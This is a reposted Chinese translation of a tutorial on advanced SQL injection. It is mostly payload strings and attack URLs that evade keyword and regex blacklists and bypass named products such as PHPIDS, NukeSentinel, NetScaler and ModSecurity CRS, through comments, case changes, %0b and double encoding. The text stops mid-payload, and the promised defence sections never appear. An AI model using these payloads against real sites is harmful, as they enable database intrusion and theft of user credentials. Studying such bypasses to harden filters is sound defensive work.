[轉]高級SQL注入:混淆和繞過


#############

【0×00】 – 簡介
【0×01】 – 過濾規避(Mysql)
【0x01a】 – 繞過函數和關鍵詞的過濾
【0x01b】 – 繞過正則表達式過濾
【0×02】 – 常見繞過技術
【0×03】 – 高級繞過技術
【0x03a】 – HTTP參數污染:分離與結合
【0x03b】 – HTTP參數參雜
【0×04】 – 如何保護你的網站
【0×05】 – 總結
【0×06】 – 參考
【0×07】 – 致謝

########################

【0×01】 – 簡介

########################

大家好,這是一篇致力於文檔化我們所從事的高級SQL注入技術的文章。
本文將要揭示能用於現實CMSs和WAFs程序中的高級繞過技術和混淆技術。文中所提到的SQL注入語句僅僅是一些繞過保護的方法。還有一些其他的技術能用於攻擊WEB程序,但是很不幸我們不能告訴你,因為它們就是0day。不論如何,本文旨在揭示現實世界中沒有完全徹底的安全系統即使你在一個WAF上面花費了三十萬美元。
本文分為7個章節,僅有0×01到0×03章節是介紹技術內容的。
0×01章節我們將詳細介紹關於如何繞過基本的函數和關鍵詞過濾。0×02章節我們將給出常見的繞過技術用於繞過開源和商業性的WAF。0×03章節我們將分兩個小節來深入探討高級繞過技術:“HTTP參數污染:分離和結合”和“HTTP參數參雜”。0×04章節我們將指導如何用正確的解決方案保護你的網站。在最后的0×05章節是對0×01到0×04章節的總結。

########################
【0×01】 -過濾規避(Mysql)
########################

本節將闡述基於PHP和MySQL的過濾規避行為以及如何繞過過濾。過濾規避是一種用來防止SQL注入的技術。這種技術可以用SQL函數,關鍵詞過濾或者正則表達式完成。這就意味着過濾規避嚴重依賴如何儲存一個黑名單或者正則表達式。如果黑名單或者正則表達式沒有覆蓋每一個注入情境,那么WEB程序對於SQL注入攻擊來說仍舊是脆弱的。

++++++++++++++++++++++++++++++++++++++++++
【0x01a】 – 繞過函數和關鍵詞過濾
++++++++++++++++++++++++++++++++++++++++++

函數和關鍵詞過濾使用函數和關鍵詞黑名單來保護WEB程序免受攻擊。如果一個攻擊者提交了一個包含在黑名單中的關鍵詞或者SQL函數的注入代碼,這個攻擊便會失效。然而,如果攻擊者能夠巧妙使用其他的關鍵詞或者函數來操作注入,那么黑名單將無法阻止攻擊。為了阻止攻擊大量的關鍵詞和函數必須放到黑名單中。但是這也影響了用戶,當用戶想提交一個存在黑名單中的單詞時,用戶將無法提交,因為這個單詞已被黑名單過濾。接下來的情境展示了一些使用函數和關鍵詞過濾以及繞過技術的例子。
關鍵詞過濾:          and,or

———————————————————————————–

PHP過濾代碼:        preg_match(‘/(and|or)/I’,$id)

關鍵詞and,or常被用做簡單測試網站是否容易進行注入攻擊。這里給出簡單的繞過使用&&,||分別替換and,or。
過濾注入:            1 or 1 = 1    1 and 1 = 1
繞過注入:            1 || 1 = 1    1 && 1 = 1

 

————————————————————————————

關鍵詞過濾:          and,or,union

————————————————————————————

PHP過濾代碼:        preg_match (‘/(and|or|union)/I’,$id)
關鍵詞union通常被用來構造一個惡意的語句以從數據庫中獲取更多數據。
過濾注入:            union  select  user, password  from  users
繞過注入:            1 || (select  user  from  users  where  user_id = 1)=’admin’
** 注意:你必須知道表名,列名和一些表中的其他數據,否則你必須用別的語句從information_schema.columns中獲取。
舉例,使用substring函數獲取表名的每一個字符。

————————————————————————————-

關鍵詞過濾:          and,or,union,where

————————————————————————————-

PHP過濾代碼:        preg_match(‘/(and|or|union|where)/I’,$id)
過濾注入:             1||(select  user  from  users  where  user_id = 1)= ‘admin’
繞過注入:            1||( select  user  from  users  limit  1)=’admin’

————————————————————————————–

關鍵詞過濾:          and,or,union,where,limit

————————————————————————————–

PHP過濾代碼:        preg_match(‘/(and|or|union|where|limit)/I’,$id)
過濾注入:            1||(select  user  from  users  limit  1)=’admin’

繞過注入:         1||(select  user  from  users  group by user_id having user_id=1 )= ‘admin’

 

—————————————————————————————

關鍵詞過濾:          and,or,union,where,limit,group by

—————————————————————————————

PHP過濾代碼:        preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)
過濾注入:            1||(select  user  from  users  group  by  user_id  having  user_id  =1)=’admin’
繞過注入:          1||(select  substr(group_concat(user_id),1,1) user  from  users  )=1

—————————————————————————————

關鍵詞過濾:          and,or,union,where,limit,group by,select,’

—————————————————————————————

PHP過濾代碼:       preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id
過濾注入:            1||(select substr(group_concat(usr_id),1,1)user from users =1
繞過注入:            1|| user_id is not null
繞過注入:            1||substr(user,1,1)=0×61
繞過注入:            1||substr(user,1,1)=unhex(61)

—————————————————————————————-

關鍵詞過濾:          and,or,union,where,limit,goup by,select,’,hex,

—————————————————————————————–

PHP過濾代碼:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)
過濾注入:            1||substr(user,1,1)=unhex(61)
繞過注入:            1||substr(user,1,1)=lower(conv(11,10,36))

——————————————————————————————

關鍵詞過濾:          and,or,union,where,limit,group by,select,’,hex,substr

——————————————————————————————-

PHP過濾代碼:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)
過濾注入:            1||substr(user,1,1)=lower(conv(11,10,36))
繞過注入:            1||lpad(user,7,1)

——————————————————————————————-

關鍵詞過濾:          and,or,union,where,limit,group by,select,’,hex,substr,white space

——————————————————————————————-

PHP過濾代碼:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)
過濾注入:            1||lpad(user,7,1)
繞過注入:            1%0b||%0blpad(user,7,1)

——————————————————————————————–

從上面的例子中我們可以看出有大量的SQL語句可以用來繞過黑名單,雖然黑名單已經包含了很多關鍵詞和函數,此外,還有數不清的例子中沒有提到的SQL語句可以用來繞過黑名單。
建立一個更大的黑名單不是一個保護你網站的好注意。記住,過濾的關鍵詞和函數越多,對用戶越不友好。

++++++++++++++++++++++++++++++++++++++++++

【0x01b】 – 繞過正則表達式過濾

++++++++++++++++++++++++++++++++++++++++++

正則表達式過濾是一個比關鍵詞和函數過濾要好的阻止SQL注入的方法,因為它使用模式匹配來檢測攻擊。但是,很多正則表達式仍然能被繞過。下面以開源軟件PHPIDS 0.6舉例闡明用來繞過正則表達式的注入腳本。
PHPIDS通常阻止包含=,(或者’ 跟隨一個字符串或者整數輸入,比如1 or 1=1,1 or ’1’,1 or  char(97)。但是,它能被使用不包含=,(或者’符號的語句繞過。

——————————————————————————————–

過濾注入:             1 or 1 = 1
繞過注入:             1 or 1

—————————————————————————————

 ---------------------------------------------------------------------------------------------

過濾注入:             1 union select 1, table_name from information_schema.tables where table_name=’users’
過濾注入:             1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’
過濾注入:             1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
繞過注入:             1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
繞過注入:             1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273

 ----------------------------------------------------------------------------------------

########################

【0x02】 - 常見繞過技術

########################

在這個章節,我們將提到關於繞過WEB應用防護系統(WAF)的技術。首先我們需要認識一下什么是WAF。
WEB應用防護系統(WAF)是一套設備,服務擴展或者過濾器,對HTTP會話應用一系列的規則。一般來說,這些規則包含了常見的攻擊比如跨站腳本攻擊(XSS)和SQL注入攻擊。很多攻擊可以通過制定符合自己程序的規則來識別和阻擋。花時間實現定制規則是有重要意義的,而且當WEB程序改變時需要維護。
WAF通常被稱做“深層次數據包檢測防火牆”,它們檢查HTTP/HTTPS/SOAP/XML-RPC/WEB服務在內的每一個請求和相應。一些現代的WAF系統同時檢查攻擊特征和異常行為。
現在讓我們趕緊來了解如何用混淆技術來破壞WAF吧,只要花時間去理解它的規則以及運用你的想象所有WAF都能被繞過!

用注釋來繞過

SQL注釋能讓我們繞過許多繞過和WAF

---------------------------------------------------------

http://croot.cnblogs.com/news.php?id+un/**/ion+se/**/lect+1,2,3--

----------------------------------------------------

變換大小寫
某些WAF僅過濾小寫的SQL關鍵詞
正則表達式過濾:/union\sselect/g

-----------------------------------------------------------

http://croot.cnblogs.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

------------------------------------------------------

替換關鍵詞
某些程序和WAF用preg_replace函數來去除所有的SQL關鍵詞。那么我們能簡單的繞過。

-------------------------------------------------------------

http://croot.cnblogs.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

-------------------------------------------------------

某些情況下SQL關鍵詞被過濾掉並且被替換成空格。因此我們用“%0b”來繞過。

-------------------------------------------------------------

http://croot.cnblogs.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

--------------------------------------------------------

對於Mod_rewrite,注釋“/**/”不能繞過,那么我們用“%0b”代替“/**/”。
被禁止的:http://croot.cnblogs.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
繞過:http://croot.cnblogs.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

字符編碼
大多CMS和WAF將對程序的輸入進行解碼和過濾,但是某些WAF僅對輸入解碼一次,那么雙重加密就能繞過某些過濾,這時WAF對輸入進行一次解碼並過濾與此同時程序繼續解碼且執行SQL語句。

---------------------------------------------------------------

http://croot.cnblogs.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

----------------------------------------------------------

此外,這些技術結合起來可以繞過Citrix NetScaler
-去除所有“NULL”字符
-在某些部分使用查詢編碼
-去除單引號字符“’”
-爽去吧!
歸功於:Wendel Guglielmetti Henrique 和 Armorlogic Profense 較早的通過URL編碼換行符繞過2.4.4
#現實例子
NukeSentinel (Nuke Evolution)

------------------------------------------------------------

// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}

-------------------------------------------------------------------------

我們能利用下面腳本繞過它的過濾:
禁止: http://croot.cnblogs.com/php-nuke/?/**/union/**/select?..
繞過: http://croot.cnblogs.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
繞過: http://croot.cnblogs.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS  (歸功於:Johanners Dahse)

------------------------------------------------------------------------------

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]-----------------------------------------------------------------------------
我們可以利用下面代碼繞過它的過濾:

-----------------------------------------------------------------------------------

http://croot.cnblogs.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

------------------------------------------------------------------------------

從這個攻擊,我們可以繞過Mod Security。讓我們看看發生了什么!!
MySQL Server支持3中注釋風格:
-從#字符開始到這一行的末尾
-從--序列開始到這一行的末尾
-從/*序列到下一個*/之間,如同C語言
此語法能夠使注釋延伸到多行,因為開始序列和閉合序列不必在同一行。
下面的例子我們用“%0D%0A”作為換行符。讓我們看看第一個請求(獲取DB 用戶)。SQL數據的結果看起來類似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而當SQL數據被MySQL DB執行的時候類似如下:
0 div 1 union select 1,2,current_user
緩沖區溢出
用C語言寫的WAF有溢出的傾向或者在裝載一串數據時表現異常。
給出一大串數據使我們的代碼執行

--------------------------------------------------------------------

http://croot.cnblogs.com/news.php?id=1+and+(select 1)=(select 0x


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM